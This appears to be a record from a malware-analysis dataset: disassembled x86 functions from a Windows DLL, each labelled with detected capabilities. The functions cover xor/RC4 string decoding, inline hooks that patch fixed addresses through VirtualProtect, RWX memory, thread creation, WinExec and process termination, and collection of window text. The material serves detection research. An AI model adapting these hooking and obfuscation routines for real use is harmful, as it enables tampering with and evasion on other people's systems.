joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002790
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x111840f8
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.r_j_]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x111840f8], cl
inc eax
cmp eax, 0x100
jb 0x100027b0
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x111840f8
push 0
mov ecx, 0x10126530
call fcn.1000b850
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x11183b9c], ecx
mov dword [ebp - 4], 0
jbe 0x100028b0
mov edi, dword [0x10126508]
lea ebx, [esi + 0xa]
nop
cmp ebx, edi
jae 0x1000285c
mov eax, dword [0x10126504]
cmp eax, ebx
ja 0x1000285c
mov ecx, ebx
sub ecx, eax
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov esi, edx
shr esi, 0x1f
add esi, edx
cmp edi, dword [0x1012650c]
jne 0x1000284a
mov ecx, 0x10126504
call fcn.10003140
mov edi, dword [0x10126508]
imul esi, esi, 0x105
add esi, dword [0x10126504]
test edi, edi
je 0x10002888
jmp 0x1000287a
cmp edi, dword [0x1012650c]
jne 0x10002874
mov ecx, 0x10126504
call fcn.10003140
mov edi, dword [0x10126508]
test edi, edi
je 0x1000288b
mov esi, ebx
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [0x10126508]
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
add edi, 0x105
mov dword [0x10126508], edi
movzx edx, byte [esi + 8]
inc eax
add ebx, 0x105
mov dword [ebp - 4], eax
cmp eax, edx
jl 0x10002810
pop edi
pop esi
mov dword [0x11183b8c], 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100028d0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x111840f8
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.r_jv]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x111840f8], cl
inc eax
cmp eax, 0x100
jb 0x100028f0
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x111840f8
push 0
mov ecx, 0x10126530
call fcn.1000b850
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x11183ba0], ecx
mov dword [ebp - 4], 0
jbe 0x100029ed
mov edi, dword [0x10126518]
lea ebx, [esi + 0xa]
nop
cmp ebx, edi
jae 0x1000299f
mov eax, dword [0x10126514]
cmp eax, ebx
ja 0x1000299f
mov ecx, ebx
sub ecx, eax
mov eax, 0x7e07e07f
imul ecx
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
cmp edi, dword [0x1012651c]
jne 0x1000298a
mov ecx, 0x10126514
call fcn.100031b0
mov edi, dword [0x10126518]
mov eax, esi
shl eax, 6
add eax, dword [0x10126514]
add eax, esi
test edi, edi
je 0x100029cb
mov esi, eax
jmp 0x100029bd
cmp edi, dword [0x1012651c]
jne 0x100029b7
mov ecx, 0x10126514
call fcn.100031b0
mov edi, dword [0x10126518]
test edi, edi
je 0x100029ce
mov esi, ebx
mov ecx, 0x10
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [0x10126518]
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
add edi, 0x41
mov dword [0x10126518], edi
movzx edx, byte [esi + 8]
inc eax
add ebx, 0x41
mov dword [ebp - 4], eax
cmp eax, edx
jl 0x10002950
pop edi
pop esi
mov dword [0x11183b90], 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002a00
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x111840f8
mov esi, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + str.r_jj]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x111840f8], cl
inc eax
cmp eax, 0x100
jb 0x10002a20
movzx edx, byte [esi + 4]
push edx
push 0x111840f8
push 0
mov ecx, 0x10126530
call fcn.1000b850
movzx eax, byte [esi + 4]
add esp, 0xc
cmp eax, 0xd
ja case.0x10002a60.11
jmp dword [eax*4 + 0x10002b00]
add esi, 5
push esi
push 2
mov eax, 0x10130630
call fcn.10014b20
add esp, 8
pop esi
ret
push 0x3c
push 0
push 0x11183ad4
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0xf1
push 0xc1
mov eax, 0x404b90
mov ecx, 0x11183ad4
call eax
push 2
mov edx, 0x4050d0
mov ecx, 0x11183ad4
call edx
push 2
mov eax, 0x4050d0
mov ecx, 0x11183ad4
call eax
push 0
push 1
mov ecx, 0x11183ad4
call dword [0x11183b18]
push 0x3c
push 0
push 0x11183ad4
call sub.MSVCR100.dll_memset
add esp, 0xc
pop esi
ret
mov ecx, 0x15
call fcn.1000be00
push eax
push 2
mov eax, 0x10130630
call fcn.10014b20
add esp, 8
pop esi
ret
Function at 0x10002b40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
cmp dword [0x11183bb8], 1
push edi
je 0x10002be8
mov ecx, dword [0x101264e4]
mov dword [0x11183b80], ebx
mov dword [0x11183b84], ebx
mov dword [0x11183b88], ebx
mov dword [0x11183b8c], ebx
mov dword [0x11183b90], ebx
mov dword [0x11183b94], ebx
mov dword [0x11183b98], ebx
mov dword [0x11183b9c], ebx
mov dword [0x11183ba0], ebx
cmp ecx, dword [0x101264e8]
je 0x10002bac
mov dword [0x101264e8], ecx
mov ecx, dword [0x101264f4]
cmp ecx, dword [0x101264f8]
je 0x10002bc0
mov dword [0x101264f8], ecx
mov ecx, dword [0x10126504]
cmp ecx, dword [0x10126508]
je 0x10002bd4
mov dword [0x10126508], ecx
mov ecx, dword [0x10126514]
cmp ecx, dword [0x10126518]
je 0x10002be8
mov dword [0x10126518], ecx
mov dword [0x10130394], ebx
mov dword [0x1013039c], ebx
mov word [ebp - 0x3c], 0x38c1
call dword [sym.imp.MSVCR100.dll_rand]
and eax, 0x800000ff
jns 0x10002c0e
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [0x10130384]
mov edx, dword [str.1.7.0]
mov byte [ebp - 0x3a], al
mov eax, dword [0x11183bb8]
mov dword [ebp - 0x38], eax
mov eax, dword [0x100208b4]
mov byte [ebp - 0x39], bl
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
call fcn.10014cd0
push 0x100
mov esi, eax
push ebx
mov ecx, 9
lea edi, [ebp - 0x28]
push 0x111840f8
rep movsd dword es:[edi], dword [esi]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x1001f570]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x111840f8], cl
inc eax
cmp eax, 0x100
jb 0x10002c60
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0x28]
push edx
mov edx, dword [ebp - 0x38]
lea eax, [ebp - 0x30]
push eax
push ecx
push edx
push 0x111840f8
push ebx
mov ecx, 0x10126530
call fcn.1000b850
movzx ecx, byte [ebp - 0x3b]
add esp, 0x18
lea edx, [ebp - 0x3c]
call fcn.100019b0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10019956
mov esp, ebp
pop ebp
ret
Function at 0x10003a60
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ecx
mov eax, dword [0x10130e14]
test eax, eax
je 0x10003b0e
mov ecx, dword [eax]
cmp ecx, dword [0x10130e28]
jne 0x10003a87
mov dl, byte [0x10130e2c]
cmp dl, byte [eax + 4]
je 0x10003b0e
push 0x100
push 0
push 0x111840f8
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea ecx, [ecx]
mov cl, byte [eax + 0x1001e570]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x111840f8], cl
inc eax
cmp eax, 0x100
jb 0x10003aa0
push 0x111840f8
push 0
mov ecx, 0x10126530
call fcn.1000b850
xor eax, eax
add esp, 8
push eax
mov dword [0x11183ea8], eax
mov dword [0x11183eac], eax
mov dword [0x11183eb0], eax
mov dword [0x11183eb4], eax
mov dword [0x11183eb8], eax
mov dword [0x11183ebc], eax
mov dword [0x11183ec0], eax
mov dword [0x11183ec4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
mov eax, dword [0x10130e10]
test eax, eax
je 0x10003b33
mov edx, dword [eax]
cmp edx, dword [0x10130e20]
jne 0x10003b2c
mov cl, byte [0x10130e24]
cmp cl, byte [eax + 4]
je 0x10003b33
mov eax, 0x10
jmp 0x10003b56
mov eax, dword [0x10130e0c]
test eax, eax
je 0x10003b70
mov edx, dword [eax]
cmp edx, dword [0x10130e18]
jne 0x10003b51
mov cl, byte [0x10130e1c]
cmp cl, byte [eax + 4]
je 0x10003b70
mov eax, 0x11
call fcn.10016420
push eax
push 0
mov ecx, 0x10126530
call fcn.1000b850
add esp, 8
call fcn.10016680
pop ecx
ret
Function at 0x10003ff0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
mov esi, ecx
push edi
mov byte [0x11184234], al
mov ebx, 0xff
cmp esi, eax
jne 0x10004073
mov ecx, 0x5f
lea ebx, [ebx]
mov dl, byte [eax + 0x10020964]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x20], dl
inc eax
and ecx, ebx
cmp eax, 0x17
jb 0x10004020
xor eax, eax
push eax
mov dword [0x11183ea8], eax
mov dword [0x11183eac], eax
mov dword [0x11183eb0], eax
mov dword [0x11183eb4], eax
mov dword [0x11183eb8], eax
mov dword [0x11183ebc], eax
mov dword [0x11183ec0], eax
mov dword [0x11183ec4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
lea eax, [ebp - 0x18]
push eax
mov ebx, 0xe
mov eax, esi
mov dword [ebp - 0x18], 0x8bccc35e
mov dword [ebp - 0x14], 0xffa30441
mov dword [ebp - 0x10], 0x8bffffff
mov word [ebp - 0xc], 0x841
call fcn.10016580
add esp, 4
test eax, eax
je 0x10004123
lea esi, [eax + 3]
mov dword [0x11183ad0], 0x70
mov dword [0x11183a74], esi
call fcn.10018b10
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10018ff0
push 0x10003fb0
push 0x11183a74
call fcn.100185c0
call fcn.10018b80
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x2c]
push ecx
push 0x40
push 5
push esi
call edi
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x30]
push eax
push ecx
mov edx, 0x10003fe0
sub edx, esi
push 5
sub edx, 5
push esi
mov byte [esi], 0xe9
mov dword [esi + 1], edx
call edi
mov byte [0x11184234], 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019956
mov esp, ebp
pop ebp
ret
mov edi, 0x2693b164
lea esi, [ebp - 0x28]
call fcn.10009e10
call fcn.10016680
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10019956
mov esp, ebp
pop ebp
ret
Function at 0x10004220
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x5b55ea
call esi
mov ecx, 0x10004150
mov byte [0x5b55ea], 0xe9
sub ecx, 0x5b55ef
lea edx, [ebp - 8]
push edx
mov dword [0x5b55eb], ecx
mov eax, dword [ebp - 4]
push eax
push 5
push 0x5b55ea
call esi
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
push 0x5a3c70
call esi
mov edx, 0x10004200
mov byte [0x5a3c70], 0xe9
sub edx, 0x5a3c75
lea eax, [ebp - 8]
push eax
mov dword [0x5a3c71], edx
mov ecx, dword [ebp - 4]
push ecx
push 5
push 0x5a3c70
call esi
lea edx, [ebp - 4]
push edx
push 0x40
push 5
push 0x59c6dd
call esi
mov eax, 0x10004190
mov byte [0x59c6dd], 0xe9
sub eax, 0x59c6e2
lea ecx, [ebp - 8]
push ecx
mov dword [0x59c6de], eax
mov edx, dword [ebp - 4]
push edx
push 5
push 0x59c6dd
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 3
push 0x556d5a
call esi
mov cx, word [0x100209ac]
mov eax, 0x556d5a
mov word [eax], cx
mov dl, byte [0x100209ae]
mov byte [eax + 2], dl
mov ecx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push ecx
push 3
push 0x556d5a
call esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10009e10
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4f
xor ecx, ecx
jmp 0x10009e20
mov al, byte [edi + ecx - 0x1691a7e8]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x20
jb 0x10009e20
mov byte [esi + 0x20], 0
mov eax, esi
ret

Function at 0x1000a010
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xf0
xor ecx, ecx
jmp 0x1000a020
mov al, byte [edi + ecx + 0x79ddc0fb]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1e
jb 0x1000a020
mov byte [esi + 0x1e], 0
mov eax, esi
ret

Function at 0x1000a040
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x82
xor ecx, ecx
jmp 0x1000a050
mov al, byte [edi + ecx + 0x2e62e9b2]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x19
jb 0x1000a050
mov byte [esi + 0x19], 0
mov eax, esi
ret

Function at 0x1000a070
Capabilities:
Encode data using xor

Disassembly:
mov edx, 9
xor ecx, ecx
jmp 0x1000a080
mov al, byte [edi + ecx - 0x7bd60ae8]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1a
jb 0x1000a080
mov byte [esi + 0x1a], 0
mov eax, esi
ret

Function at 0x1000a110
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x3f
xor ecx, ecx
jmp 0x1000a120
mov al, byte [edi + ecx + 0x4e70b2ed]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xb
jb 0x1000a120
mov byte [esi + 0xb], 0
mov eax, esi
ret
Function at 0x1000b730
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10126748]
push ebx
push esi
push edi
test eax, eax
js 0x1000b839
cmp eax, 1
jge 0x1000b839
mov esi, eax
imul esi, esi, 0x214
push ecx
add esi, 0x10126534
inc eax
lea edi, [esi + 4]
push 0x100
mov dword [0x10126748], eax
push edi
mov dword [esi], 1
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
cmp dword [esi], 0
je 0x1000b839
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0xe]
movzx ecx, word [ebp - 0x12]
movzx edx, word [ebp - 0x14]
push eax
push ecx
push edx
push edi
lea ebx, [esi + 0x110]
push str.._s_04d__02d__02d.log
push ebx
mov dword [esi + 0x104], eax
mov dword [esi + 0x108], ecx
mov dword [esi + 0x10c], edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x210], eax
cmp eax, 0xffffffff
jne 0x1000b814
mov dword [esi], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019956
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1000b839
mov ecx, dword [esi + 0x210]
push ecx
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10019956
mov esp, ebp
pop ebp
ret
Function at 0x1000b850
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
test eax, eax
js 0x1000ba47
cmp eax, dword [ecx + 0x218]
jge 0x1000ba47
imul eax, eax, 0x214
cmp dword [eax + ecx + 4], 0
lea esi, [eax + ecx + 4]
je 0x1000ba47
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x812]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
cmp ecx, dword [esi + 0x104]
jne 0x1000b8d6
movzx edx, word [ebp - 0x816]
cmp edx, dword [esi + 0x108]
jne 0x1000b8d6
movzx eax, word [ebp - 0x818]
cmp eax, dword [esi + 0x10c]
je 0x1000b993
mov ecx, dword [esi + 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [ebp - 0x812]
movzx ecx, word [ebp - 0x816]
movzx edx, word [ebp - 0x818]
push eax
push ecx
push edx
mov dword [esi + 0x10c], edx
lea edx, [esi + 4]
push edx
lea edi, [esi + 0x110]
push str.._s_04d__02d__02d.log
push edi
mov dword [esi + 0x104], eax
mov dword [esi + 0x108], ecx
call ebx
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x210], eax
cmp eax, 0xffffffff
jne 0x1000b95d
mov dword [esi], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019956
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1000b993
mov eax, dword [esi + 0x210]
push eax
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019956
mov esp, ebp
pop ebp
ret
push 0x3ff
lea ecx, [ebp - 0x807]
push 0
push ecx
mov byte [ebp - 0x808], 0
call sub.MSVCR100.dll_memset
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
push edx
push eax
lea ecx, [ebp - 0x808]
push 0x400
push ecx
call dword [sym.imp.MSVCR100.dll_vsprintf_s]
push 0x3ff
lea edx, [ebp - 0x407]
push 0
push edx
mov byte [ebp - 0x408], 0
call sub.MSVCR100.dll_memset
movzx ecx, word [ebp - 0x80c]
movzx edx, word [ebp - 0x80e]
lea eax, [ebp - 0x808]
push eax
movzx eax, word [ebp - 0x810]
push ecx
push edx
push eax
lea ecx, [ebp - 0x408]
push str._02d:_02d:_02d__s_r_n
push ecx
call ebx
lea eax, [ebp - 0x408]
add esp, 0x40
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000ba20
mov ecx, dword [esi + 0x210]
sub eax, edx
push 0
lea edx, [ebp - 0x81c]
push edx
push eax
lea eax, [ebp - 0x408]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10019956
mov esp, ebp
pop ebp
ret

Function at 0x1000ba90
Capabilities:
Create thread

Disassembly:
cmp dword [0x11183bac], 0
je 0x1000bad6
mov eax, dword [0x11183a78]
push 0x11183eb8
mov dword [0x10126750], eax
xor eax, eax
push eax
push 0x1012674c
push 0x1000bbc0
push eax
push eax
mov dword [0x10126758], eax
mov dword [0x1012675c], eax
mov dword [0x10126760], eax
mov dword [0x10126764], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10126754], eax
ret
Function at 0x1000bae0
Capabilities:
Check for time delay via gettickcount

Disassembly:
cmp dword [0x11183bcc], 0
je 0x1000bafd
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x11183bcc]
cmp eax, dword [ecx]
jne case.0x1000bb33.0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
sub eax, dword [esi*4 + 0x10126758]
cmp eax, 0x1388
jb 0x1000bb28
call edi
mov dword [esi*4 + 0x10126758], eax
mov dword [esi*4 + 0x10126760], 0
mov eax, dword [0x11183bb0]
pop edi
cmp eax, 5
ja case.default.0x1000bb33
jmp dword [eax*4 + 0x1000bba0]
inc dword [esi*4 + 0x10126760]
cmp dword [esi*4 + 0x10126760], 0x19
jmp 0x1000bb8d
inc dword [esi*4 + 0x10126760]
cmp dword [esi*4 + 0x10126760], 0x14
jmp 0x1000bb8d
inc dword [esi*4 + 0x10126760]
cmp dword [esi*4 + 0x10126760], 0xf
jmp 0x1000bb8d
inc dword [esi*4 + 0x10126760]
cmp dword [esi*4 + 0x10126760], 0xa
jmp 0x1000bb8d
inc dword [esi*4 + 0x10126760]
cmp dword [esi*4 + 0x10126760], 5
jbe case.0x1000bb33.0
push 0
push 9
xor ecx, ecx
call fcn.10002cc0
add esp, 8
ret
Function at 0x1000bf50
Capabilities:
Create process on windows
Encode data using xor
Get process image filename
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x580
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x40
lea eax, [ebp - 0x48]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x560]
push 0
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x208
lea edx, [ebp - 0x358]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x1000c149
push 0x104
lea eax, [ebp - 0x560]
push eax
push edi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x1000c142
lea ecx, [ebp - 0x358]
push ecx
lea ecx, [ebp - 0x560]
call fcn.100147e0
add esp, 4
test al, al
je 0x1000c142
push 0x40
lea edx, [ebp - 0x48]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea esi, [ebp - 0x560]
mov word [ebp - 0x57c], 0x5325
mov byte [ebp - 0x57a], 0
call fcn.10014a30
push eax
lea eax, [ebp - 0x57c]
push eax
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x48]
push edx
lea ecx, [ebp - 0x358]
call fcn.1000b2e0
test al, al
jne 0x1000c0d2
mov ecx, 0xdd
xor eax, eax
nop
mov dl, byte [eax + 0x10021070]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x578], dl
inc eax
and ecx, 0xff
cmp eax, 0x16
jb 0x1000c050
push ebx
lea eax, [ebp - 0x578]
push eax
lea ecx, [ebp - 0x150]
push ecx
mov byte [ebp - 0x562], 0
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0
lea edx, [ebp - 0x150]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [ebp - 0x150]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019956
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x358]
push ecx
lea ecx, [ebp - 0x48]
call fcn.1000b5f0
test al, al
jne 0x1000c10c
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 2
lea ecx, [ebp - 0x48]
call fcn.10002cc0
add esp, 8
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019956
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x358]
call fcn.100038b0
test al, al
jne 0x1000c142
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 5
lea ecx, [ebp - 0x48]
call fcn.10002cc0
add esp, 8
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019956
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10019956
mov esp, ebp
pop ebp
ret
Function at 0x1000c2f0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a72b
mov eax, dword fs:[0]
push eax
sub esp, 0xc40
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0xc48], ebx
mov dword [ebp - 0xc44], ebx
mov dword [ebp - 0xc40], ebx
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0xc48]
mov dword [ebp - 4], ebx
call fcn.10016460
add esp, 4
mov word [ebp - 0xc34], 0xac2
mov byte [ebp - 0xc32], 0xc
call dword [sym.imp.MSVCR100.dll_rand]
and eax, 0x800000ff
jns 0x1000c36b
dec eax
or eax, 0xffffff00
inc eax
mov esi, dword [ebp - 0xc48]
mov byte [ebp - 0xc31], al
mov eax, dword [ebp - 0xc44]
sub eax, esi
sar eax, 2
mov byte [ebp - 0xc30], 0x17
mov dword [ebp - 0xc4c], eax
mov dword [ebp - 0xc2c], eax
cmp eax, ebx
jbe 0x1000c427
lea ecx, [ebp - 0x728]
mov dword [ebp - 0xc38], ecx
lea esp, [esp]
cmp ebx, 0x14
jge 0x1000c427
mov eax, dword [esi + ebx*4]
push 0x104
lea edx, [ebp - 0x11c]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edx, dword [esi + ebx*4]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.USER32.dll_GetClassNameA]
mov edi, dword [ebp - 0xc38]
mov eax, dword [ebp - 0xc38]
add edi, 0xfffffb00
mov ecx, 0x10
lea esi, [ebp - 0x11c]
rep movsd dword es:[edi], dword [esi]
mov edi, eax
mov ecx, 0x10
lea esi, [ebp - 0x224]
inc ebx
add eax, 0x40
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xc48]
mov dword [ebp - 0xc38], eax
cmp ebx, dword [ebp - 0xc4c]
jb 0x1000c3b0
mov ecx, 0xa0c
lea edx, [ebp - 0xc34]
call fcn.100019b0
test esi, esi
je 0x1000c445
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10019956
mov esp, ebp
pop ebp
ret 4